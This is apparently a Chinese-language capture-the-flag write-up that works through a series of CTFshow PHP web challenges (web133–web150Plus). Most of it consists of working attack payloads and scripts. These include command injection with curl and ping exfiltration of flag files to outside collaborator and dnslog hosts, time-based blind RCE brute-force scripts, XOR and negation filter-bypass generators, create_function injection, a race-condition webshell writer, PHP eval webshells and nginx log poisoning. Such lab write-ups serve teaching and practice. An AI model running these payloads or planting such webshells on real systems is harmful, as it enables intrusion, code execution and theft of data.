?F=`$F` ;sleep 3

不是说好6个字符吗?这么长这么还能执行?

分析一下

传入?F=`$F` ;sleep 3  //此时不被正则过滤,程序中$F=`$F` ;sleep 3
经过substr()函数截断,那行代码变成eval(`$F` ;);
之前说了,程序中$F=`$F` ;sleep 3
那行代码就是eval(`     `$F`;+sleep 3      `;);
所以执行了sleep 3

同理,我们可以构造

?F=`$F` ;ls /
?F=`$F` ;tac /f*

但是事实是,命令可以执行,但是没有回显。

image-20230708122501193

无回显RCE,学个新姿势:利用curl去带出flag.php

打开Burp的 Collaborator Client

image-20230708123035091

点击第一个,第二个用来刷新

image-20230708123101578

剪贴板中多了一个nkbdydku0o5akpn25qepeqaii9o8cx.burpcollaborator.net

payload:

?F=`$F` ;curl -X POST -F xx=@flag.php  http://nkbdydku0o5akpn25qepeqaii9o8cx.burpcollaborator.net//无换行
//其中-F 为带文件的形式发送post请求
//xx是上传文件的name值,flag.php就是上传的文件 

正常无回显做法

1、写入文件。经过测试没有写文件权限。
2、dnslog外带    平台打不开了,nnd,这个方法应该是可以的
3、http信道  【超级可行】
4、反弹shell  bash反弹       无效
5、反弹shell  利用平台        无效

http信道payload:

?F=`$F` ;curl http://f74d1j0x.requestrepo.com/?1=`cat flag.php|base64`

image-20230709032345536

base64解码得

image-20230709032353460

CTFshow PHP web134

image-20230709032547207

$_SERVER['QUERY_STRING']:查询(query)的字符串

https://blog.csdn.net/qq_49480008/article/details/115872899

image-20230709032814606

parse_str():将字符串解析成多个变量

extract():从数组中将变量导入到当前的符号表

payload:

?_POST[key1]=36d&_POST[key2]=36d

有点抽象,羽师傅的例子感觉比较好。

image-20230709033031525

flag在源码里面。

image-20230709033300116

CTFshow PHP web135

加强版web133

image-20230709041825636

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}

过滤拉满,之前的payload估计用不了了。

看了一下别的师傅的wp,全是围绕文件来写的。

?F=`$F` ;cp flag.php x.txt
?F=`$F` ;nl flag.php>x.txt
?F=`$F` ;mv flag.php x.txt

确实可以,不错的姿势,学到了。

image-20230709042018734

看web133官方wp评论区的时候,有个师傅的思路值得借鉴。

image-20230708120540027

首先,直接访问flag.php是无法访问的。但是访问一些不存在的文件名比如asdasdssa.txt,却不会显示404,而是源码界面。

image-20230709042354709

不知道为什么,用mv rename cp命令修改文件名,都没有达到预期效果。

还有一种思路就是用\ ' "绕过关键词过滤

?F=`$F` ;cu\rl http://f74d1j0x.requestrepo.com/?1=`t\ac /flag.php|ba\se64`

实际测试了一下,只有\可以绕过过滤。

同时,http信道,可以接收ls /env等命令的结果,无法获得tac flag.php的结果,同时命令ls的回显中也没有flag.php,不知道出题人是用什么手段藏了flag.php

image-20230709044502580

官方payload:

`$F`;+ping `cat flag.php|awk 'NR==2'`.6x1sys.dnslog.cn

CTFshow PHP web136

image-20230709044611428

又是大过滤,哈哈,我疯啦。

exec():执行一个外部程序,类似system()

对比一下过滤,我们能执行的命令有

ls
ls /
env
cat 
tac
nl
tee
等

tee命令:

tee file1.txt file2.txt //复制文件
ls|tee 1.txt //命令输出

payload:(命令执行结果就是在文件1和2里面啦)

?c=ls /|tee 1
?c=tac /f149_15_h3r3|tee 2

image-20230709132712655

image-20230709132839795

CTFshow PHP web137

题目描述:没有难度 //确实,没骗人

考点:考察调用类中的函数

image-20230709132930222

我们最终目标是执行echo file_get_contents("flag.php");语句,就是调用cyfshow类中getFlag()方法。

php中 ->与:: 调用类中的成员的区别:

->用于动态语境处理某个类的某个实例::可以调用一个静态的、不依赖于其他初始化的类方法

双冒号可以不用实例化类就可以直接调用类中的方法

payload:

ctfshow=ctfshow::getFlag        //POST

image-20230709133745847

CTFshow PHP web138

题目描述:一丢丢难度

image-20230709133848628

strripos():计算指定字符串在目标字符串中最后一次出现的位置(不区分大小写)

if(strripos($_POST['ctfshow'], ":")>-1):要求我们POST进来的ctfshow参数不包含符号:

call_user_func函数里面可以传数组,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。这就避免了:的出现。

payload:

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

查看phpinfo();

ctfshow=phpinfo      //call_user_func('phpinfo');

CTFshow PHP web139

题目描述:BY YU22X 没变化吗?

image-20230709134756685

这个应该是web136的改版,我们可以看见的源码应该是一样的。

在136的基础上限制了写文件的权限,这时候可以考虑用盲打的方式。这也是一种无回显RCE带出数据的办法!

awk命令:

用awk命令、cut命令截取字符
sleep命令确认是否正确awk NR==n 获取第n行信息
cut -c n  截取第n个字符zsh下if语句的格式:
if [命令] {
	command
} elif {
	.......
} else {
	.......
}

我们的payload:

if [ `ls /|awk 'NR==6'|cut -c 4` == V ];then sleep 3;fi

直接使用提示给的脚本。(略改了一点)

爆破根目录文件名脚本:

import requests
import time
import stringstr = string.ascii_letters + string.digits + "-" + "{" + "}" + "_" + "~"    # 构建一个包含所有字母和数字以及部分符号的字符串,符号可以自己加
result = ""          # 初始化一个空字符串,用于保存结果#获取多少行
for i in range(1, 99):
    key = 0   #用于控制内层循环(j)的结束    #不break的情况下,一行最多几个字符
    for j in range(1, 99):
        if key == 1:
            break
        for n in str:       #n就是一个一个的返回值
            payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n)   #{n}是占位符
            #print(payload)
            url = "http://69a7422b-3330-4a7a-993e-8600f18ef1b5.challenge.ctf.show?c=" + payload
            try:
                requests.get(url, timeout=(2.5, 2.5))   #设置超时时间为 2.5 秒,包括连接超时和读取超时,超时就是之前sleep 3了。            # 如果请求发生异常,表示条件满足,将当前字符 n 添加到结果字符串中,并结束当前内层循环
            except:
                result = result + n
                print(result)
                break
            if n == '~':    #str的最后一位,“~”不常出现,用作结尾
                key = 1
    # 在每次获取一个字符后,将一个空格添加到结果字符串中,用于分隔结果的不同位置
    result += " "

获取flag文件内容的脚本:

import requests
import time
import stringstr = string.digits + string.ascii_lowercase + "-" + "_" + "~"# 题目过滤花括号,这里就不加了
result = ""
for j in range(1, 99):
    for n in str:
        payload = "if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j, n)
        # print(payload)
        url = "http://69a7422b-3330-4a7a-993e-8600f18ef1b5.challenge.ctf.show?c=" + payload
        try:
            requests.get(url, timeout=(2.5, 2.5))
        except:
            result = result + n
            print(result)
            break
        if n=="~":
            result = result + "花括号"

(跑的时候别开梯子呜呜呜)

结果:

image-20230710001354175

flag文件名:f149_15_h3r3

image-20230710003125232

flag:ctfshow{6f1d1b8d-7f85-4d44-86b9-a11d937e0691}

CTFshow PHP web140

image-20230710003743000

考点:==松散比较

小元砸师父一表速览

image-20230710054223398

我们最终的目标是intval($code) == 'ctfshow'

intval()函数,若参数是非数字,则输出0intval('a')==0 intval('.')==0 intval('/')==0

根据上表,我们看得出0==‘ctfshow’

再倒推一步,我们使得return $f1($f2());返回0即可。

由此我们可以构造payload:

f1=intval&f2=intval

image-20230710054948533

解释一下这个payload:此时原语句return $f1($f2());变为return intval(intval());既是return intval(0);值是0,所以 c o d e = 0 ,满足 ‘ i n t v a l ( code=0,满足`intval( code=0,满足intval(code) == ‘ctfshow’`

此外,payload还有:

f1=usleep&f2=usleep
f1=md5&f2=phpinfo
f1=md5&f2=sleep
f1=md5&f2=md5
f1=current&f2=localeconv
f1=sha1&f2=getcwd                    因为/var/www/html md5后开头的数字所以我们改用sha1

CTFshow PHP web141

image-20230710055457068

满足preg_match('/^\W+$/', $v3)即v3没有数字、字母和下划线

PHP中,数字是可以和命令进行一些运算的,例如 1-phpinfo();1-phpinfo()-1;是可以正常执行的。

v3的构造使用无字母数字RCE的取反构造来实现。

PHP脚本:

<?php
//在命令行中运行/*author yu22x*/fwrite(STDOUT,'[+]your function: ');$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]your command: ');$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

运行脚本,得到v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)-

image-20230710060649619

所以payload为:

?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)-&v2=1

经过测试,* / +(%2B,不编码会被当成空格) %都可以代替-

image-20230710060938222

CTFshow PHP web142

image-20230710061119266

sleep(0),沉睡0秒直接包含flag文件

payload:

?v1=0       //8进制
?v1=0x0		//16进制
?v1=0e666	//科学计数法

image-20230710061238124

CTFshow PHP web143

题目描述:141的plus版本

image-20230710100020275

可以看见,它把~过滤了,同时也过滤了减号、加号、取余号。

绕过方法:取反用异或代替,减号用乘或除代替。

异或脚本:

import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

生成xor_rce.txt的PHP脚本。(生成后放在python脚本同目录之下)

<?php/*author yu22x*/$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
    for ($j=0; $j <256 ; $j++) {        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i'; //根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
            echo "";
        }        else{
            $a='%'.$hex_i;
            $b='%'.$hex_j;
            $c=(urldecode($a)^urldecode($b));
            if (ord($c)>=32&ord($c)<=126) {
                $contents=$contents.$c." ".$a." ".$b."\n";
            }
        }    }
}
fwrite($myfile,$contents);
fclose($myfile);

image-20230710101023869

payload:

?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*

image-20230710101003896

CTFshow PHP web144

题目描述:143的plus版本

image-20230710101203919

做法同143

修改php脚本的时候需要注意一点

image-20230710102444148

payload:

?v1=1&v3=-&v2=("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%00"^"%7c%60%60%20%60%2a")

image-20230710102515655

CTFshow PHP web145

题目描述:144的plus版本

image-20230710102701168

可以看见,它没有把~过滤,回归取反。但是他把加减乘除取余都过滤了。

羽师傅的小测试:

eval("return 1?phpinfo():1;");

测试结果是可以执行。所以我们可以使用三目运算符

所以我们的目标是构建eval("return 1?tac f*:1;");

payload构造类似之前:

?v1=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):&v2=1     //三目运算符
?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|&v2=1     //也可以1|(xxx)|2

image-20230710103910545

CTFshow PHP web146

题目描述:145的plus版本

image-20230710104111157

过滤了:,不能用上一题的三目运算符payload了。但是可以用第二个。

payload:

?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|&v2=1//这个也可以
?v1=1&v3===(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)||&v2=1       //1==(xxx)||1

image-20230710104454429

CTFshow PHP web147

这题类似Code-Breaking Puzzles挑战赛中easy - functionCode Breaking 挑战赛 Writeup (seebug.org)

考点:create_function函数注入

image-20230710104601688

/i不区分大小写

/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[\f\n\r\t\v]

/D如果使用$限制结尾字符,则不允许结尾有换行

对POST进去的ctf有过滤,对GET进去的show没有过滤。

正则匹配preg_match('/^[a-z0-9_]*$/isD',$ctfshow)表示匹配只有字母数字下划线的字符串。

如果我在$ctfshow前加一个符号,那么正则匹配返回false。

由于

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
所以在调用函数时,在前面加一个\并不影响函数的执行。

create_function()代码注入:

create_function('$a','echo $a."123"')类似于function f($a) {
  echo $a."123";
}

如果此时$a可控,我们使a=1;}phpinfo();//

create_function('$a','echo $a."123"')类似于function f($a) {
  echo 1;}phpinfo();//."123";
}就是function f($a) {
  echo 1;
}
phpinfo();

这个原理就类似于SQL注入了,主动闭合+注释多余内容。

payload:

?show=}system("tac f*");/*     //GET
ctf=\create_function           //POST

image-20230710111548669

CTFshow PHP web148

题目描述:什么是变量?

image-20230710112351065

过滤有点凶。但是没过滤^

方法一:

那就不要疑惑,可以异或。直接CV正则表达式,生成字典跑脚本。

payload:

?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");

image-20230710113202606

image-20230710113334037

方法二:

中文变量绕过

payload:

?code=$给特="%60%7B%7B%7B"%5E"?<>/";${$给特}[参数一](${$给特}[参数二]);&参数一=system&参数二=tac%20f*//?code=$给特="{{{"^"?<>/";${$给特}[参数一](${$给特}[参数二]);&参数一=system&参数二=tac f*
//"{{{"^"?<>/"; 异或出来的结果是 _GET
//也可以    ${_GET}[哼](${_GET}[嗯]);&哼=call_user_func&嗯=get_ctfshow_fl0g

image-20230710114459486

CTFshow PHP web149

题目描述:你写的快还是我删的快?

image-20230710114748680

分析一下代码:

//ctf是被写入文件的文件名,show是写入的文件内容
file_put_contents($_GET['ctf'], $_POST['show']);$files = scandir('./');   // 获取当前目录下的文件和子目录列表
foreach($files as $file) {     //遍历当前目录下的所有文件和子目录列表
    if(is_file($file)){   // 如果是文件
        if ($file !== "index.php") {   // 如果文件名不是 "index.php"
            unlink($file);   // 删除文件
        }
    }
}

预期解:条件竞争

CV一个大师傅的py脚本

# -*- coding: utf-8 -*-
# @Time : 20.12.5 11:41
# @author:lonmar
import io
import requests
import threadingurl = 'http://9366a64f-c8d9-47fb-a750-22543527dae3.challenge.ctf.show/'
def write():
    while event.isSet():
        data = {
            'show': '<?php system("cat /ctfshow_fl0g_here.txt");?>'
        }
        requests.post(url=url+'?ctf=1.php', data=data)
def read():
    while event.isSet():
        response = requests.get(url + '1.php')
        if response.status_code != 404:
            print(response.text)
            event.clear()
if __name__ == "__main__":
    event = threading.Event()
    event.set()
    for i in range(1, 100):
        threading.Thread(target=write).start()    for i in range(1, 100):
        threading.Thread(target=read).start()

image-20230710115718488

非预期:代码逻辑漏洞

既然他不删除index.php,并且我们也可以往index.php里面写内容。

那我们就狠狠入index.php

payload:

?ctf=index.php     //GET
show=<?php eval($_POST[hack]);?>       //POST

CTFshow PHP web150

题目描述:对我们以前的内容进行了小结,我们文件上传系列再见!

image-20230710115834933

<?phpinclude("flag.php");
error_reporting(0);
highlight_file(__FILE__);class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;   // 私有成员变量 $secret,存储 flag    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }    function __destruct(){
        echo $this->secret;       // 在对象销毁时输出 $secret
    }    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }    function __autoload($class){
        if(isset($class)){
            $class();
    }
}#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}$ctf = $_POST['ctf'];
extract($_GET);if(class_exists($__CTFSHOW__)){   // 如果指定类(CTFSHOW)存在,则输出提示信息
    echo "class is exists!";
}// 如果 $isVIP 为真且 ctf 字符串中不包含冒号
if($isVIP && strrpos($ctf, ":")===FALSE){  
    include($ctf);
}

我们最后一步肯定是include($ctf);包含文件。那个CTFSHOW类貌似做到最后也没有用上。

方法:日志包含

WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。

日志文件路径:

apache一般是/var/log/apache/access.log。
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log。

题目是nginx

image-20230710121649794

步骤一:

先抓包,修改UA头,发包,把恶意代码写入日志文件。

UA头:<?php eval($_POST[jay]);?>

image-20230710122132998

步骤二:

包含日志文件,进行RCE

?isVIP=true                                         //GET
ctf=/var/log/nginx/access.log&jay=system("tac flag.php");   //POST

image-20230710122402909

session文件包含貌似也是可以的,这里不赘述了。

CTFshow PHP web150Plus

image-20230710122534030

源码和之前差不多,改变的只有多对ctf过滤了log使我们不能日志包含

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
    include($ctf);
}

session文件包含可以继续打。

临时文件包含也行(在文末补充,这里不占用篇幅了)
exp :https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py

预期解:

这个题一点点小坑
__autoload()这个函数并不属于CTFSHOW这个类的,全局都可以用。在定义这个函数后,尝试使用不存在的类的时候会自动加载。

**class_exists()**同样会触发__autoload()函数【存疑】

根据web123:在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了。

使用?..CTFSHOW…=xxx可以绕过正则匹配,利用空格 [ . +自动转换为_的特性

最后构造?..CTFSHOW…=phpinfo就可以通过extract()函数实现变量覆盖($__CTFSHOW__=phpinfo),之后利用__autoload()函数,加载phpinfo,那就可以看到phpinfo信息啦
原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用
__autoload()函数方法,去加载$__CTFSHOW__,因为等于$__CTFSHOW__phpinfo就会去加载phpinfo

payload:

?..CTFSHOW..=phpinfo

image-20230710142252663

临时文件包含补充:

临时文件包含

我们知道,PHP强制上传文件会储存到/tmp/phpxxxxxx
文件包含,能否包含一个 /???/???[@-[]]
答案是:不行 文件包含,不支持通配符 !

我们明确的,得到这个临时目录下php开头的随机文件名字全称,然后我们就可以正常包含进去
默认情况,生命周期与php脚本一致,也就是说,脚本运行过程中,存在,脚本运行结束了,这个临时文件会被自动删除

突破点:
1 在php脚本运行过程中,包含临时文件
2 在脚本运行过程中,得到完整的临时文件名称

假设我们能够访问phpinfo的结果 FILES 就会存在tmp_name元素存储临时文件名字,读取后可以成功包含

验证原理步骤:
1.先准备upload.html脚本,部署在自己的vps上面
2.phpinfo.php中有语句phpinfo(); include $_FILES['file'][tmp_name];
3.upload.html脚本强制上传文件到phpinfo.php
4.自动跳转到什么什么/phpinfo.php
5.因为脚本执行时,有临时文件,同时又phpinfo();了,所以phpinfo中又临时文件(内容为上传的文件)路径,在$_FILES['file']==>[tmp_name]
6.由于include $_FILES['file'][tmp_name]; 语句,临时文件被包含,其中的恶意代码被执行,实现了RCE。

但是现实中不会出现语句include $_FILES['file'][tmp_name]; 我们不知道临时文件的名字。
php配置文件中,默认,每次向浏览器发送内容时,不是一个字符一个字符发送的,它是一块内容一块内容发送的
一次发4096个字符,没凑够4096个字符不发送。
如果不断往phpinfo界面填充数据,使其不断增大,超过4096时,就会把数据分开来一段一段返回,
这时候就去找他的[tmp_name],找到了就马上包含。因为一直在发送字节,所以脚本不算执行完毕
临时文件还存在,能包含。这就是原理

upload.html:

<form action="http://6741a41b-173c-4a20-9a15-be885b3344de.challenges.ctfer.com:8080/" enctype="multipart/form-data" method="post" >
    
    <input name="file" type="file" />
    <input type="submit" type="gogogo!" />
   
</form>

  1. a-zA-Z ↩︎

点赞(2) 打赏

评论列表 共有 0 条评论

暂无评论

微信小程序

微信扫一扫体验

立即
投稿

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部